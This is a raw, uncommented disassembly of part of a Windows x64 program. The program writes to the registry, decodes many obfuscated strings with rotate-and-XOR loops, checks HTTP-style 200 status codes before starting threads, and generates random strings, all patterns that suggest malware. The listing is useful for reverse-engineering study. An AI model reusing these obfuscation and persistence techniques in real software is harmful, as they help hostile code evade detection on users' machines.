sub r9, 1
jne 0x7ff765978360
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
xor r8d, r8d
mov rdx, r10
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov esi, 0xb
xor r14d, r14d
mov rcx, qword [rbp + 0xd78]
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.advapi32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0xee8]
cmp rdx, 0xf
jbe 0x7ff765978407
inc rdx
mov rcx, qword [rbp + 0xed0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765978402
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7659785d8
call fcn.7ff7659fad04
mov qword [rbp + 0xee0], r14
mov qword [rbp + 0xee8], 0xf
mov byte [rbp + 0xed0], 0
inc r15d
cmp r15d, dword [rbp + 0xdd8]
jb 0x7ff7659780d0
mov rcx, qword [rbp + 0xd68]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rdx, [rbp + 0xaa8]
call fcn.7ff76597afc0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x19
nop dword [rax + rax]
movzx edx, byte [rbx]
shr dl, 4
movzx ecx, byte [rbx]
shl cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x74
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765978460
mov rcx, r10
call fcn.7ff7659717a0
lea rdx, [0x7ff765a1a3a1]
lea rcx, [rbp + 0xf30]
call fcn.7ff76597c940
nop
lea rcx, [rbp + 0xe70]
call fcn.7ff7659752d0
nop
lea rcx, [rbp + 0x1070]
call fcn.7ff765974170
lea rdx, [rbp + 0x810]
call fcn.7ff76597b040
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0xf
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
add dl, dl
shr cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x73
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659784e0
mov rdx, r10
lea rcx, [rbp + 0x1070]
call fcn.7ff76597c230
nop
cmp qword [rbp + 0x1100], 0
je 0x7ff76597853f
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x1070]
call fcn.7ff76597ddd0
lea rcx, [rbp + 0x1070]
call fcn.7ff76597c1f0
cmp qword [rbp + 0xf40], 0
je 0x7ff765978694
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x8d0]
call fcn.7ff76597c9b0
mov rbx, rax
mov qword [rbp - 0x70], rax
cmp qword [rax + 0x10], 0x38
je 0x7ff7659785df
lea rdx, [rbp + 0xa48]
call fcn.7ff765975610
mov r9, rax
mov rbx, rax
mov r8, rax
movzx edx, byte [rbx]
shr dl, 7
movzx ecx, byte [rbx]
add cl, cl
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x76
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r12, 1
jne 0x7ff765978583
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x60
call fcn.7ff7659fa9b0
mov rcx, rax
call fcn.7ff765975690
mov r13, rax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov r9d, 0x18
xor r8d, r8d
lea rdx, [rbp + 0x820]
mov rcx, rbx
call fcn.7ff76597c520
mov rdx, rax
mov rcx, r13
call fcn.7ff76597c8b0
lea rcx, [rbp + 0x820]
call fcn.7ff76597c850
mov r9d, 0x14
lea r8d, [r9 + 4]
lea rdx, [rbp + 0x840]
mov rcx, rbx
call fcn.7ff76597c520
lea rcx, [r13 + 0x20]
mov rdx, rax
call fcn.7ff76597c8b0
lea rcx, [rbp + 0x840]
call fcn.7ff76597c850
mov r9d, 0xc
lea r8d, [r9 + 0x20]
lea rdx, [rbp + 0x860]
mov rcx, rbx
call fcn.7ff76597c520
lea rcx, [r13 + 0x40]
mov rdx, rax
call fcn.7ff76597c8b0
lea rcx, [rbp + 0x860]
call fcn.7ff76597c850
nop
mov rcx, rbx
call fcn.7ff76597c850
jmp 0x7ff7659786c6
mov ecx, 0x60
call fcn.7ff7659fa9b0
mov rcx, rax
call fcn.7ff765975690
mov r13, rax
mov qword [rbp - 0x38], rax
mov rcx, rax
call fcn.7ff76597c830
lea rcx, [rcx + 0x20]
call fcn.7ff76597c830
mov rcx, r13
call fcn.7ff76597c830
lea rdx, [rbp + 0xe70]
mov rcx, r13
call fcn.7ff76597daf0
lea rsi, [0x7ff765a1a7f0]
test al, al
jne 0x7ff76597a8ca
lea rcx, [rbp + 0xe70]
call fcn.7ff76597c6a0
mov rdi, rax
lea rdx, [rbp + 0xb68]
call fcn.7ff76597b0d0
mov r9, rax
mov rbx, rax
mov r8, rax
mov r13d, 0x20
nop
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4e
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r13, 1
jne 0x7ff765978710
mov rdx, rdi
mov rcx, r9
call fcn.7ff7659717a0
lea rdx, [rbp + 0xb08]
call fcn.7ff76597b140
mov r9, rax
mov rbx, rax
mov r8, rax
mov r13, qword [rbp - 0x38]
mov r10d, 0x1f
movzx edx, byte [rbx]
shr dl, 3
movzx ecx, byte [rbx]
shl cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4d
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff765978761
mov rdx, r9
lea rcx, [rbp + 0xef0]
call fcn.7ff76597c940
nop
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0xef0]
call fcn.7ff76597c770
lea rdx, [rbp + 0x124]
call fcn.7ff76597b1d0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 4
shr cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x48
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659787d0
mov rdx, r10
lea rcx, [rbp + 0xef0]
call fcn.7ff76597c810
lea rcx, [rbp + 0x1990]
call fcn.7ff7659752c0
lea rdx, [rbp + 0xd0]
call fcn.7ff76597b240
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 2
shr cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x47
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765978830
mov r8, r10
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0x8b0]
call fcn.7ff76597d540
mov rdx, rax
lea rcx, [rbp + 0x930]
call fcn.7ff765973f10
nop
mov rdx, rax
lea rcx, [rbp + 0x1990]
call fcn.7ff76597dfb0
nop
lea rcx, [rbp + 0x930]
call fcn.7ff765974040
lea rcx, [rbp + 0x1850]
call fcn.7ff7659752c0
lea rdx, [rbp + 0x120]
call fcn.7ff76597b2b0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
movzx edx, byte [rbx]
shr dl, 7
movzx ecx, byte [rbx]
add cl, cl
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x42
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659788c0
mov r8, r10
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0x880]
call fcn.7ff76597d540
mov rdx, rax
lea rcx, [rbp + 0x908]
call fcn.7ff765973f10
nop
mov rdx, rax
lea rcx, [rbp + 0x1850]
call fcn.7ff76597dfb0
nop
lea rcx, [rbp + 0x908]
call fcn.7ff765974040
cmp dword [rbp + 0x19a0], 0xc8
je 0x7ff7659789a9
lea rdx, [rbp + 0xa78]
call fcn.7ff76597b320
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x17
nop
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x41
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765978950
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, r10
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
cmp dword [rbp + 0x1860], 0xc8
je 0x7ff765978a29
lea rdx, [rbp + 0xac8]
call fcn.7ff76597b3b0
mov r10, rax
mov rbx, rax
mov r9, rax
mov r8d, 0x1c
movzx edx, byte [rbx]
shr dl, 4
movzx ecx, byte [rbx]
shl cl, 4
or dl, cl
mov byte [r9], dl
movzx eax, byte [rbx]
xor al, 0x5c
mov byte [r9], al
lea r9, [r9 + 1]
lea rbx, [rbx + 1]
sub r8, 1
jne 0x7ff7659789d0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, r10
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rdx, [rbp + 0x19a8]
lea rcx, [rbp + 0xe90]
call fcn.7ff76597c9b0
nop
lea rdx, [rbp + 0x1868]
lea rcx, [rbp + 0xe30]
call fcn.7ff76597c9b0
nop
mov rbx, r14
lea r12, [0x7ff765970000]
cmp qword [rbp + 0xea0], 0
jbe 0x7ff765978a9e
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0xe90]
call fcn.7ff76597c500
movzx edx, byte [rax]
mov rcx, rbx
and ecx, 0x3f
xor dl, byte [rcx + r12 + 0xaa8c0]
mov byte [rax], dl
inc rbx
cmp rbx, qword [rbp + 0xea0]
jb 0x7ff765978a70
mov rbx, r14
cmp qword [rbp + 0xe40], 0
jbe 0x7ff765978ae5
nop dword [rax + rax]
mov rax, rbx
and eax, 0x3f
movzx edx, byte [rax + r12 + 0xaa880]
lea rcx, [rbp + 0xe30]
cmp qword [rbp + 0xe48], 0xf
cmova rcx, qword [rbp + 0xe30]
xor byte [rbx + rcx], dl
inc rbx
cmp rbx, qword [rbp + 0xe40]
jb 0x7ff765978ab0
cmp qword [r13 + 0x10], 0
je 0x7ff765978f32
mov rcx, qword gs:[0x203]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765978b20
movzx eax, byte [rbp + 0x13372bb4]
mov byte [rbp + 0xda5], al
lea rcx, [rbp + 0xda5]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1a534]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x7ff765a1a538]
mov byte [rbp - 0x4c], al
lea rdx, [rbp - 0x50]
lea rbx, [rbp - 0x50]
mov r14d, 5
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rdx]
shr cl, 3
movzx eax, byte [rdx]
shl al, 5
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x6f
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765978b50
lea rax, [rbp - 0x50]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
inc rcx
cmp byte [rax + rcx], 0
jne 0x7ff765978b83
mov rdx, qword [r13 + 0x30]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x7ff76597aec4
lea rax, [r13 + 0x20]
cmp qword [r13 + 0x38], 0xf
jbe 0x7ff765978bb8
mov rax, qword [r13 + 0x20]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x50]
lea r8, [r13 + 0x20]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x2d8]
call fcn.7ff7659800e0
nop
lea rax, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 0xf
cmova rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x18], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x650], xmm0
lea r8, [rbp + 0x650]
mov edx, eax
lea rcx, [rbp + 0x200]
call fcn.7ff7659721a0
mov dword [rsp + 0x64], 0x1f880000
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova rcx, qword [rbp + 0x200]
call fcn.7ff7659fa608
shr rax, 0x20
test eax, eax
jne 0x7ff76597aeca
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x7ff765978ca6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765978ca1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765978ca1
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
xor ebx, ebx
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x218], 7
mov word [rbp + 0x200], bx
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x7ff765978d05
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765978d00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765978d00
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x2e8], rbx
mov qword [rbp + 0x2f0], 0xf
mov byte [rbp + 0x2d8], 0
mov rcx, qword gs:[0x207]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765978d4e
movzx eax, byte [rbp + 0x13372c49]
mov byte [rbp + 0xda3], al
lea rcx, [rbp + 0xda3]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1ac00]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x7ff765a1ac04]
mov byte [rbp - 0x54], al
lea rdx, [rbp - 0x58]
lea rbx, [rbp - 0x58]
mov r8, r14
nop dword [rax]
movzx ecx, byte [rdx]
shr cl, 4
movzx eax, byte [rdx]
shl al, 4
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x6a
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765978d70
lea rax, [rbp - 0x58]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x7ff765978da0
mov rdx, qword [r13 + 0x50]
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x7ff76597af34
lea rax, [r13 + 0x40]
cmp qword [r13 + 0x58], 0xf
jbe 0x7ff765978dcb
mov rax, qword [r13 + 0x40]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x58]
lea r8, [r13 + 0x40]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x2b8]
call fcn.7ff7659800e0
nop
lea rax, [rbp + 0x2b8]
cmp qword [rbp + 0x2d0], 0xf
cmova rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x18], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x5f0], xmm0
lea r8, [rbp + 0x5f0]
mov edx, eax
lea rcx, [rbp + 0x1e0]
call fcn.7ff7659721a0
mov dword [rsp + 0x64], 0x1ff80000
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova rcx, qword [rbp + 0x1e0]
call fcn.7ff7659fa608
shr rax, 0x20
test eax, eax
jne 0x7ff76597aee0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
jbe 0x7ff765978eb9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765978eb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765978eb4
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
xor r15d, r15d
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 7
mov word [rbp + 0x1e0], r15w
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0xf
jbe 0x7ff765978f17
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765978f12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597a42e
call fcn.7ff7659fad04
mov qword [rbp + 0x2c8], r15
mov qword [rbp + 0x2d0], 0xf
mov byte [rbp + 0x2b8], 0
jmp 0x7ff765978f3b
mov r14d, 5
xor r15d, r15d
mov rcx, qword gs:[0x20d]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765978f6b
movzx eax, byte [rbp + 0x13372ee1]
mov byte [rbp + 0xda2], al
lea rcx, [rbp + 0xda2]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1aaa8]
mov dword [rbp - 0x28], eax
movzx eax, byte [0x7ff765a1aaac]
mov byte [rbp - 0x24], al
lea rdx, [rbp - 0x28]
lea rbx, [rbp - 0x28]
mov r8, r14
nop dword [rax]
movzx ecx, byte [rdx]
shr cl, 6
movzx eax, byte [rdx]
shl al, 2
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x69
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765978f90
mov rcx, qword gs:[0x30]
mov rdx, qword gs:[0x30]
mov rax, qword gs:[0x30]
mov ebx, dword [rax + 0x48]
add ebx, dword [rcx + 0x60]
add ebx, dword [rdx + 0x40]
mov esi, 0xfb1
mov edx, esi
mov ecx, 0xdead
movzx eax, byte [0x7ff765a28978]
test al, al
cmovne edx, ecx
lea ecx, [rdx + rax]
xor ecx, ebx
call qword [sym.imp.ucrtbase.dll_srand]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
xor r8d, r8d
lea rdx, [0x7ff765a1a3a1]
lea rcx, [rsp + 0x70]
call fcn.7ff76597e990
mov edi, dword [rsp + 0x64]
or edi, 0x20
mov dword [rsp + 0x64], edi
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff765979086
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765979090
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff7659790eb
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff7659790f5
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff765979150
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff76597915a
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff7659791b5
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff7659791bf
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff76597921a
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765979224
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff76597927f
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765979289
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff7659792e4
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff7659792ee
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + r12 + 0xaa450]
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
cmp rcx, rdx
jae 0x7ff765979349
lea rax, [rcx + 1]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765979353
lea rcx, [rsp + 0x70]
call fcn.7ff76597ed30
mov byte [0x7ff765a28978], 0
and edi, 0xffffffdf
or edi, 0x10
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x70]
call fcn.7ff76597c6e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or edi, 0x40
mov dword [rsp + 0x64], edi
lea r12, [r13 + 0x40]
lea rax, [rbp + 0x100]
cmp r12, rax
je 0x7ff765979449
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x7ff765979401
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7659793fc
add rdx, 0x27
mov rbx, qword [rcx - 8]
sub rcx, rbx
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff765979482
mov rcx, rbx
call fcn.7ff7659fad04
mov qword [r12 + 0x10], r15
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
movups xmm0, xmmword [rbp + 0x100]
movups xmmword [r12], xmm0
movups xmm1, xmmword [rbp + 0x110]
movups xmmword [r12 + 0x10], xmm1
mov qword [rbp + 0x110], r15
mov eax, 0xf
mov qword [rbp + 0x118], rax
mov byte [rbp + 0x100], 0
jmp 0x7ff765979450
mov rax, qword [rbp + 0x118]
cmp rax, 0xf
jbe 0x7ff76597948e
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765979489
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765979489
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x7ff7659794e3
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659794de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597a42e
call fcn.7ff7659fad04
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rcx, qword gs:[0x211]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765979524
movzx eax, byte [rbp + 0x13372f77]
mov byte [rbp + 0xda1], al
lea rcx, [rbp + 0xda1]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1ab94]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x7ff765a1ab98]
mov byte [rbp - 0x2c], al
lea rdx, [rbp - 0x30]
lea rbx, [rbp - 0x30]
mov r8, r14
movzx eax, byte [rdx]
movzx ecx, byte [rdx]
add cl, cl
shr al, 7
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x64
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765979542
mov rdx, qword gs:[0x30]
mov rbx, qword gs:[0x30]
mov rax, qword gs:[0x30]
mov ecx, dword [rax + 0x48]
add ecx, dword [rdx + 0x60]
add ecx, dword [rbx + 0x40]
movzx eax, byte [0x7ff765a28978]
test al, al
mov ebx, 0xdead
cmovne esi, ebx
add esi, eax
xor ecx, esi
call qword [sym.imp.ucrtbase.dll_srand]
